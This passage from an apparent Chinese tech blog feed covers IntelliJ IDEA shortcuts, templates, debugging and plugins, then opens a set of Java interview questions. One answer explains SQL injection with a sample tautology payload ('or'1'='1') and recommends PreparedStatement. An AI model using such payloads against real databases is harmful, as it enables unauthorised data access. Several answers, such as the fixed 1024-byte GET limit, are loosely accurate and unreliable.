Ctrl + F        | 在项目进行文本查找         |<br>| Shift + Ctrl + R        | 在项目进行文本替换         |<br>| Shift  + Shift           | 快速搜索              |<br>| Ctrl + N                 | 查找class           |<br>| Ctrl + Shift + N        | 查找文件              |<br>| Ctrl + Shift + Alt + N | 查找symbol（查找某个方法名） |</p><p>跳转切换</p><table><thead><tr><th>快捷键</th><th>介绍</th></tr></thead><tbody><tr><td>Ctrl + E</td><td>最近文件</td></tr><tr><td>Ctrl + Tab</td><td>切换文件</td></tr><tr><td>Ctrl  + Alt + ←/→</td><td>跳转历史光标所在处</td></tr><tr><td>Alt + ←/→ 方向键</td><td>切换子tab</td></tr><tr><td>Ctrl + G</td><td>go to（跳转指定行号）</td></tr></tbody></table><p>编码相关<br>| 快捷键                           | 介绍                                                |<br>|——————————-|—————————————————|<br>| Ctrl + W                     | 快速选中                                              |<br>| (Shift + Ctrl) + Alt + J | 快速选中同文本                                           |<br>| Ctrl + C/Ctrl + X/Ctrl + D | 快速复制或剪切                                           |<br>| 多行选中 Tab / Shift  + Tab      | tab                                               |<br>| Ctrl + Y                     | 删除整行                                              |<br>| 滚轮点击变量/方法/类                   | 快速进入变量/方法/类的定义处                                   |<br>| Shift + 点击Tab                | 快速关闭tab                                           |<br>| Ctrl + Z 、Ctrl + Shift + Z | 后悔药，撤销/取消撤销                                       |<br>| Ctrl + Shift + enter        | 自动收尾，代码自动补全                                       |<br>| Alt + enter                  | IntelliJ IDEA 根据光标所在问题，提供快速修复选择，光标放在的位置不同提示的结果也不同 |<br>| Alt + ↑/↓                    | 方法快速跳转                                            |<br>| F2                            | 跳转到下一个高亮错误 或 警告位置                                 |<br>| Alt + Insert                 | 代码自动生成，如生成对象的 set / get 方法，构造函数，toString() 等    |<br>| Ctrl + Shift + L            | 格式化代码                                             |<br>| Shift + F6                   | 快速修改方法名、变量名、文件名、类名等                               |<br>| Ctrl + F6                    | 快速修改方法签名                                          |</p><p>代码阅读相关</p><table><thead><tr><th>快捷键</th><th>介绍</th></tr></thead><tbody><tr><td>Ctrl + P</td><td>方法参数提示显示</td></tr><tr><td>Ctrl + Shift + i</td><td>就可以在当前类里再弹出一个窗口出来</td></tr><tr><td>Alt + F7</td><td>可以列出变量在哪些地方被使用了</td></tr><tr><td>光标在子类接口名，Ctrl + u</td><td>跳到父类接口</td></tr><tr><td>Alt + F1 + 1， esc</td><td></td></tr><tr><td>(Shift) + Ctrl + +/-</td><td>代码块折叠</td></tr><tr><td>Ctrl + Shift + ←/→</td><td>移动窗口分割线</td></tr><tr><td>Ctrl  + (Alt) + B</td><td>跳转方法定义/实现</td></tr><tr><td>Ctrl  + H</td><td>类的层级关系</td></tr><tr><td>Ctrl  + F12</td><td>Show Members 类成员快速显示</td></tr></tbody></table><p>版本管理相关</p><table><thead><tr><th>快捷键</th><th>介绍</th></tr></thead><tbody><tr><td>Ctrl + D</td><td>Show Diff</td></tr><tr><td>(Shift) + F7</td><td>（上）下一处修改</td></tr></tbody></table><p>更多快捷键请参考此文章</p><blockquote><p>leblog.github.io</p></blockquote><hr/><h2 id="编码效率相关（★★）"><a href="#编码效率相关（★★）" class="headerlink" title="编码效率相关（★★）"></a>编码效率相关（★★）</h2><p>文件代码模板</p><p>Settings -&gt; Editor -&gt; File and Code Template<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNhY0d6aWNrcklOOHhmZ05UaE15cU5mOUVLQzNGdk5VbzIzRUxWU2VHUTR4M3V2aHVIVW41bmV3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><p>在这里可以看到IDEA所有内置的文件代码模板，当你选择某个文件生成时，就会按照这里面的模板生成指定的代码文件。</p><p>另外，你可以在这里设置文件头。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnM3SWg1RGw2aWI0eVY1QmdGb0RQVk5BU0ZMRXNaYmhpYlRUQjRhdnJ0VGliTjNvZmN1TExobk9FVUEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>设置之后，效果如下</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkM0docDZyUGtONzBueGc5bGtwVlBKNG5jVjNjREZ1TjBpYU14WTF3aWN4UEUwTksxVzJsMVpkTUJ3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>实时代码模板</p><p>IDEA提供了强大的实时代码模板功能，并且原生内置了很多的模板，比如，当你输入sout或者psvm，就会快速自动生成System.out.println();和public static void main(String[] args) {}的代码块。</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnM4QjFZaklFdnZNZ2VtNlVQNnRkY2x2d1BXcGlhaWJDY2pFWEx1dDZGNTRzMUpFWXR1dndxTXBuQS82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkM2lhUEtCY2JSQnE4VHdYRDlmZ3pLUm5PU3p6VFZUUlFEbXdXa3IxdlRqRHBDeFdneHNzSWdpYll3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>这些的模板可以在Settings -&gt; Editor -&gt; Live Templates看到。使用者可以按照自己的使用习惯来熟悉相关的代码模板。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNoa2xEOXhKRTdDbzYzamZHMm10R2ZLS2ZaaWJreGliUWNaQXhad2dpYXY2V08wWlJXU0NsRWRBcWcvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>定制代码模板</p><p>IDEA也提供自己定制实时代码模板的功能。</p><ul><li><p>创建自己的模板库</p></li><li><p>创建定制的代码模板<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkM0R6aWJMNmY2YUdERGliaWN6YnQ4ZzBIdjRoT1RweGRBZUVhbjFKRDU4RUNSTVBYYUN0bVZVa3ZPUS82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>图中的MyGroup就存放着我自己定义的代码模板。</p></li></ul><p>其他</p><p>CRTL+ALT+T<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNsRmxNZ2NHMjJ3S0Y2SnkxZUVCNVNKeWFXajFERUN3SEVhYUkydVYxV01STmJiZDVCejZNbEEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><p>Ctrl + Alt + T 提供的是代码块包裹功能 - Surround With。可以快速将选中的代码块，包裹到选择的语句块中。</p><p>本地历史版本</p><p>IDEA 自带本地版本管理的功能，能够让你本地编写代码变得更加的安心和方便。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNBV2pYSk1RMURPNmROcUUwSmliTkwxSVlWVWlhbm1nNElXS2g0S2lhaGVPVU1idWxpYkN1T0NEaWFYdy82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><hr/></p><h2 id="代码调试-源码阅读相关（★★★）"><a href="#代码调试-源码阅读相关（★★★）" class="headerlink" title="代码调试 源码阅读相关（★★★）"></a>代码调试 源码阅读相关（★★★）</h2><p>视图模式<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNQUUJLdTVMU3hVQzJOcXF4OVVjRURGdUtaUWliOXZOZWtJVmlhVVpRQ2libExlM2RXb01FR0Q1N3cvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>IDEA提供两种特殊的视图模式，</p><ul><li><p>Presentation Mode - 演示模式，专门用于Code Review这种需要展示代码的场景</p></li><li><p>Distraction Free Mode - 禅模式，专注于代码开发</p></li></ul><p>代码调试</p><p><strong>1. 条件断点</strong></p><p>IDEA 可以设置指定条件的断点，增加我们调试的效率。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNpYkZHdGFpYm43RlpJMEl3OGxibHZMRGVpYjhLNUZGN0F2dmRwOWdBVU10bWhvRDkxaWEyZ2c4VzlBLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>2. 强制返回</strong></p><p>IDEA 可以在打断点的方法栈处，强制返回你想要的方法返回值给调用方。非常灵活！<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNoVUhGQ1piVGljNmZpYnYwR0tCMkJOWXNlSlRXZzJIVGJtM3NnVUhxdFltdEpyYlFqRjFsaWJCTVEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnMxZ3FCWGVzR2lhUkxsTzJnZ0V1V0NaUk1YTGlhSURxVEhRUDcxUFBxYTk4TkhjZnRBRThSN3hyZy82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>3. 模拟异常</strong></p><p>IDEA 可以在打断点的方法栈处，强制抛出异常给调用方。这个在调试源码的时候非常有用。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnN3VHYyS0hvRnNMd3JvajlwUlNwYzhnUUttYm9mSWo1YjUzMHVGTHM0RlBWR0Q4bzg4RFBpYXlnLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>4. Evaluate Expression</strong></p><p>IDEA 还可以在调试代码的时候，动态修改当前方法栈中变量的值，方便我们的调试。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNCeVQ3QXhTaWJNWTVDbTZmeG5xR1RKMWliVDRoY1NLREpReDFHRkM1SjY1U1REZUlGMFJMRmNkQS82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><hr/><h3 id="插件方面"><a href="#插件方面" class="headerlink" title="插件方面"></a>插件方面</h3><p><strong>插件安装</strong></p><p>File -&gt; Setting -&gt; Plugin</p><p>插件安装，可以直接在IDEA的插件库中实时搜索安装。browse plugin repository</p><p>对于网络不好的用户，可以登录官方插件仓库地址：plugins.jetbrains.com/idea，下载压缩包之后，选择<code>install from disk</code></p><p><strong>插件推荐</strong></p><p>本人日常开发中使用的插件</p><p><strong>Alibaba Java Coding Guidelines</strong></p><p>阿里Java编程规约插件</p><p><strong>FindBugs</strong></p><p>代码缺陷扫描<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkM1E5cWZVOVM4SE1SQ2tTM2liMjZtZ0x5OHl2cm9OY0NKaWNOcjRlcHBYMXprcXJaMW5IQ25zRVZRLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNrOXNJYmRDaGRpY0NZdWhydVlZWWljRTc1SXBpY2NVcVFWR3dWdjdsQWdVaWNxbUNINURadDVIMTFBLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>PMD</strong></p><p>代码缺陷扫描</p><p><strong>InnerBuilder</strong></p><p>builder模式快速生成<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNWSG9uT2FGRERtOG5XcXlTT2V1OUFQWklZODFTVzJkRVFUT2liVjlldWJmWGdKZVlDdXQ1SUh3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>lombok plugin</strong></p><p>lombok 插件</p><p><strong>maven helper</strong></p><p>maven 依赖管理助手 ，解析maven pom结构，分析冲突；<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNnaEQ2aWFvaWJoaWJpYklyWERQenBXMTROS2lhNmlheWdpYmdIbXhobkc3aWF4TDVXdnZxakl0WlUzeDI2QS82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnMxWUZrYlE5YWlieENoa3NSTU5vbktibU9LNnRGcE83S2VXalM3bTB4TUdNSlZjM3hhQ3YwcGtBLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><p><strong>Rainbow brackets</strong></p><p>让代码中的括号更具标识性<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNyTkNKOTVNeFJPZVFXMFhaNVR3dk5HMDJ1MVVVaWJDZGJrdEJYQWZ5V3QzU2ljOFZ1aWNncWpOOUEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>String Manipulation</strong></p><p>String相关辅助简化，搭配 CTRL+W 、ALT+J等文本选择快捷键使用<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9lUVB5QmZmWWJ1ZmVEUGY4MzkydkFqdHp6MzNMWGVjd2xMZ005dmNFZ1NNU2M1QTZLRGQxVTZ3VzlYMHlRUzFYNDdQMnlDR0hQa1Y4Rm4zbUhMQjRvZy82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>Translation</strong></p><p>翻译插件，阅读源码必备<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnM2RlhueEtRM04wYlgxekVvak1DNENxU1NISHU0QnBvM2pJaHVaOWZJNXBpYjRXN3psNmpBU1NRLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNxTVViZjNiZ1o2ZWliaWJZdkdBOTlkQUZPYUlZR2t3TkR0MEFVZm1NRVV6akVyMnVMWW5hSVNrZy82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>GenerateAllSetter</strong><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNLSHJtSGJDVUtrcThjT1JhYmljSXY5RE9vSnpqWGZoTmliMUVubDlOVWlhdXpFV2gxYVFmUjd2T3cvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><pre><code>**Key Promoter X**</code></pre><p>对你的鼠标操作进行 快捷键提示<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9lUVB5QmZmWWJ1ZmVEUGY4MzkydkFqdHp6MzNMWGVjd0FFSUhSTUw3bHpqckppYmxRUUFvUTZ2MjRHNG1wY2cwN3VWTFhxN2JGMFZxMlJ2MWg4Qk51dGcvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>GenerateSerialVersionUID</strong></p><p>Alt + Insert 快速生成SerialVersionUID<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9lUVB5QmZmWWJ1ZmVEUGY4MzkydkFqdHp6MzNMWGVjdzB1a2dxcEpHdFdpYjM1NzA1QmRiaFlkRkJwdGxvSXRDQlZUTG9MSEJQZmVFaWNaWE5Vb3dQVEFRLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>GsonFormat</strong><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2dpZi9lUVB5QmZmWWJ1ZmVEUGY4MzkydkFqdHp6MzNMWGVjd3B5Z2tOSzhmeERBQkN5aWFXQVVpYk15cGtDaDM5aWFxMlVFUHlHVzI0eWVEOFBPY25weG5ZQnlwZy82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>RestfulToolkit</strong></p><ul><li><p>快速跳转到Restful Api处( use: Ctrl(Command) + \ or Ctrl + Alt + N )</p></li><li><p>展示Resultful 接口结构</p></li><li><p>http 简单请求工具<img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNrMWljeHNzc0pOaWNLaWI1VmliY3hLbDU3bW5NOFhjNFY4QmlhWUJhSGZrblpSdE9FQlpKWVNIQ05jUS82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p></li><li><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkM0NOc0tZTHVWaWJsRXp2Vm01b1ZXVVVlZ0xQeG1DNUpwU0poR0pGVFhHd1NzZ0QzaWJsZEtMTFF3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p></li></ul><p><strong>Material Theme UI</strong></p><p>本人自用的主题就是这个。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNTdVNKdk5oYlhDOGxhN0Z4b2xpYUtyYUdGOHRhaldHMmxIR3RYbFcxcXhBYWEzM1ZTaWNKR29ody82NDA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>MyBatis Log Plugin</strong></p><p>把 Mybatis 输出的sql日志还原成完整的sql语句，看起来更直观。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNla0J5Y091UDY4WG1xeGliYnZUN3BaU1pDSEVXQUdFN1BpYzJ0OGliVWd5VWlhemY3a2JtaElPTVVRLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><strong>Free Mybatis</strong></p><p>MyBatis 免费的插件</p><hr/><p>参考</p><blockquote><p><a href="https://github.com/judasn/IntelliJ-IDEA-Tutorial">https://github.com/judasn/IntelliJ-IDEA-Tutorial</a></p></blockquote><p>(By the way, 更多IDEA使用请参考此延伸文档以及官方文档)</p><h1>（完）<h1/>]]></content>
      
      
      <categories>
          
          <category> IDEA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Intelij IDEA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>阿里巴巴Java方向面试题汇总（含答案）</title>
      <link href="/2018/05/01/a-li-ba-ba-java-fang-xiang-mian-shi-ti-hui-zong-han-da-an/"/>
      <url>/2018/05/01/a-li-ba-ba-java-fang-xiang-mian-shi-ti-hui-zong-han-da-an/</url>
      
        <content type="html"><![CDATA[<h1 id="阿里巴巴Java方向面试题汇总（含答案）"><a href="#阿里巴巴Java方向面试题汇总（含答案）" class="headerlink" title="阿里巴巴Java方向面试题汇总（含答案）"></a>阿里巴巴Java方向面试题汇总（含答案）</h1><p>涉及了从Java内置的基础数据结构、常用的服务器知识、Java网络编程相关的知识，再到Java的内存模型、Java常用编程框架等各个方面的内容，希望能够帮助大家回顾Java的基础内容，进而查漏补缺，完善自身的知识体系。</p><h2 id="一、String-StringBuffer-StringBuilder的区别是什么？String为什么是不可变的？"><a href="#一、String-StringBuffer-StringBuilder的区别是什么？String为什么是不可变的？" class="headerlink" title="一、String, StringBuffer, StringBuilder的区别是什么？String为什么是不可变的？"></a>一、String, StringBuffer, StringBuilder的区别是什么？String为什么是不可变的？</h2><ol><li>String是字符串常量，StringBuffer和StringBuilder都是字符串变量。后两者的字符内容可变，而前者创建后内容不可变。</li><li>String不可变是因为在JDK中String类被声明为一个final类。</li><li>StringBuffer是线程安全的，而StringBuilder是非线程安全的。</li></ol><p><strong>补充说明</strong>：线程安全会带来额外的系统开销，所以StringBuilder的效率比StringBuffer高。如果对系统中的线程是否安全很掌握，可用StringBuffer，在线程不安全处加上关键字Synchronize。</p><h2 id="二、Vector-ArrayList-LinkedList的区别是什么？"><a href="#二、Vector-ArrayList-LinkedList的区别是什么？" class="headerlink" title="二、Vector, ArrayList, LinkedList的区别是什么？"></a>二、Vector, ArrayList, LinkedList的区别是什么？</h2><ol><li>Vector、ArrayList都是以类似数组的形式存储在内存中，LinkedList则以链表的形式进行存储。</li><li>List中的元素有序、允许有重复的元素，Set中的元素无序、不允许有重复元素。</li><li>Vector线程同步，ArrayList、LinkedList线程不同步。</li><li>LinkedList适合指定位置插入、删除操作，不适合查找；ArrayList、Vector适合查找，不适合指定位置的插入、删除操作。</li><li>ArrayList在元素填满容器时会自动扩充容器大小的约50%，而Vector则是100%，因此ArrayList更节省空间。</li></ol><h2 id="三、HashTable-HashMap，-TreeMap的区别是什么？"><a href="#三、HashTable-HashMap，-TreeMap的区别是什么？" class="headerlink" title="三、HashTable, HashMap， TreeMap的区别是什么？"></a>三、HashTable, HashMap， TreeMap的区别是什么？</h2><ol><li>HashTable线程同步，HashMap非线程同步。</li><li>HashTable不允许&lt;键,值&gt;有空值，HashMap允许&lt;键,值&gt;有空值。</li><li>HashTable使用Enumeration，HashMap使用Iterator。</li><li>HashTable中hash数组的默认大小是11，增加方式的old*2+1，HashMap中hash数组的默认大小是16，增长方式一定是2的指数倍。</li><li>TreeMap能够把它保存的记录根据键排序，默认是按升序排序。</li></ol><p><strong>补充说明</strong>：以上三个问题所涉及的都是Java语言中的一些比较高级的数据结构，从字符串相关到容器再到哈希表和树等数据结构，因此我们在学习Java语言的时候，也需要更加深入地去对比比较类似的数据结构的使用场景以及其优缺点。</p><h2 id="四、Tomcat，Apache，JBoss的区别？"><a href="#四、Tomcat，Apache，JBoss的区别？" class="headerlink" title="四、Tomcat，Apache，JBoss的区别？"></a>四、Tomcat，Apache，JBoss的区别？</h2><ol><li>Apache是HTTP服务器，Tomcat是Web服务器，JBoss是应用服务器。</li><li>Apache解析静态的Html文件；Tomcat可解析jsp动态页面、也可充当</li><li>容器。</li></ol><p><strong>补充说明</strong>：对于服务器而言，在面试中可能并不会过多涉及，相对而言，面小易认为像是Liunx、Tomcat这些背后的原理可能更受面试官的青睐。</p><h2 id="五、GET，POST请求之间的区别？"><a href="#五、GET，POST请求之间的区别？" class="headerlink" title="五、GET，POST请求之间的区别？"></a>五、GET，POST请求之间的区别？</h2><pre><code>基础知识：HTTP的请求格式如下。主要包含三个信息：1、请求的类型（GET或POST），2、要访问的资源（如resimga.jif），3、HTTP版本（http/1.1）</code></pre><p><strong>区别：</strong></p><ol><li>Get是从服务器端获取数据，Post则是向服务器端发送数据。</li><li>在客户端，Get方式通过URL提交数据，在URL地址栏可以看到请求消息，该消息被编码过；Post数据则是放在Html header内提交。</li><li>对于Get方式，服务器端用Request.QueryString获取变量的值；对用Post方式，服务器端用Request.Form获取提交的数据值。</li><li>Get方式提交的数据最多1024字节，而Post则没有限制。</li><li>Get方式提交的参数及参数值会在地址栏显示，不安全，而Post不会，比较安全。</li></ol><h2 id="六、Session-Cookie的区别是什么？"><a href="#六、Session-Cookie的区别是什么？" class="headerlink" title="六、Session, Cookie的区别是什么？"></a>六、Session, Cookie的区别是什么？</h2><ol><li>Session由应用服务器维护的一个服务器端的存储空间；Cookie是客户端的存储空间，由浏览器维护。</li><li>用户可以通过浏览器设置决定是否保存Cookie，而不能决定是否保存Session，因为Session是由服务器端维护的。</li><li>Session中保存的是对象，Cookie中保存的是字符串。</li><li>Session和Cookie不能跨窗口使用，每打开一个浏览器系统会赋予一个SessionID，此时的SessionID不同，若要完成跨浏览器访问数据，可以使用 Application。</li><li>Session、Cookie都有失效时间，过期后会自动删除，减少系统开销。</li></ol><h2 id="七、HTTP-报文包含内容"><a href="#七、HTTP-报文包含内容" class="headerlink" title="七、HTTP 报文包含内容"></a>七、HTTP 报文包含内容</h2><p>主要包含四部分：</p><ol><li>request line</li><li>header line</li><li>blank line</li><li>request body</li></ol><p><strong>补充说明</strong>：上面的三个问题是网络编程的基础知识问题，作为Java工程师也需要掌握HTTP的知识，而如今HTTPS同样也成为了标准，也需要大家进一步了解。此外，相对于大家在课本或者课堂中所学习的HTTP 1.0/1.1这些协议而言，很多公司已经迈入了HTTP 2.0时代，因此两者之间的差别也需要我们进一步了解。</p><h2 id="八、Servlet的生命周期"><a href="#八、Servlet的生命周期" class="headerlink" title="八、Servlet的生命周期"></a>八、Servlet的生命周期</h2><p>大致分为4部：Servlet类加载–&gt;实例化–&gt;服务–&gt;销毁</p><p>Tomcat中Servlet的时序图如下所示：</p><p><img src="https://i.imgur.com/6t8q318.jpg" alt=""></p><ol><li>Web Client向Servlet容器(Tomcat)发出HTTP请求。</li><li>Servlet容器接收Client端的请求。</li><li>Servlet容器创建一个HttpRequest对象，将Client的请求信息封装到这个对象中。</li><li>Servlet创建一个HttpResponse对象。</li><li>Servlet调用HttpServlet对象的service方法，把HttpRequest对象和HttpResponse对象作为参数传递给HttpServlet对象中。</li><li>HttpServlet调用HttpRequest对象的方法，获取Http请求，并进行相应处理。</li><li>处理完成HttpServlet调用HttpResponse对象的方法，返回响应数据。</li><li>Servlet容器把HttpServlet的响应结果传回客户端。</li></ol><p>其中的3个方法说明了Servlet的生命周期：</p><ol><li>init()：负责初始化Servlet对象。</li><li>service()：负责响应客户端请求。</li><li>destroy()：当Servlet对象推出时，负责释放占用资源。</li></ol><h2 id="九、Statement与PreparedStatement的区别-什么是SQL注入，如何防止SQL注入？"><a href="#九、Statement与PreparedStatement的区别-什么是SQL注入，如何防止SQL注入？" class="headerlink" title="九、Statement与PreparedStatement的区别,什么是SQL注入，如何防止SQL注入？"></a>九、Statement与PreparedStatement的区别,什么是SQL注入，如何防止SQL注入？</h2><ol><li>PreparedStatement支持动态设置参数，Statement不支持。</li><li>PreparedStatement可避免如类似 单引号 的编码麻烦，Statement不可以。</li><li>PreparedStatement支持预编译，Statement不支持。</li><li>在SQL语句出错时PreparedStatement不易检查，而Statement则更便于查错。</li><li>PreparedStatement可防止SQL助于，更加安全，而Statement不行。</li></ol><p><strong>补充说明-什么是SQL注入以及应对策略：</strong> 通过SQL语句的拼接达到无参数查询数据库数据目的的方法。如将要执行的SQL语句为 select * from table where name = “+appName+”，利用appName参数值的输入，来生成恶意的SQL语句，如将[‘or’1’=‘1’] 传入可在数据库中执行。因此可以采用PrepareStatement来避免SQL注入，在服务器端接收参数数据后，进行验证，此时PrepareStatement会自动检测，而Statement不行，需要手工检测。</p><h2 id="十、sendRedirect-foward区别"><a href="#十、sendRedirect-foward区别" class="headerlink" title="十、sendRedirect, foward区别"></a>十、sendRedirect, foward区别</h2><ol><li>foward是服务器端控制页面转向，在客户端的浏览器地址中不会显示转向后的地址；sendRedirect则是完全的跳转，浏览器中会显示跳转的地址并重新发送请求链接。原理：forward是服务器请求资源，服务器直接访问目标地址的URL，把那个URL的响应内容读取过来，然后再将这些内容返回给浏览器，浏览器根本不知道服务器发送的这些内容是从哪来的，所以地址栏还是原来的地址。</li><li>redirect是服务器端根据逻辑，发送一个状态码，告诉浏览器重新去请求的那个地址，浏览器会用刚才的所有参数重新发送新的请求。</li></ol><p><strong>补充说明</strong>：以上的三个问题在之前网络相关的知识上更进一步，上升到了Java网络编程的相关知识，这部分意在考察面试者对于Java网络编程相关知识的掌握程度。</p><h2 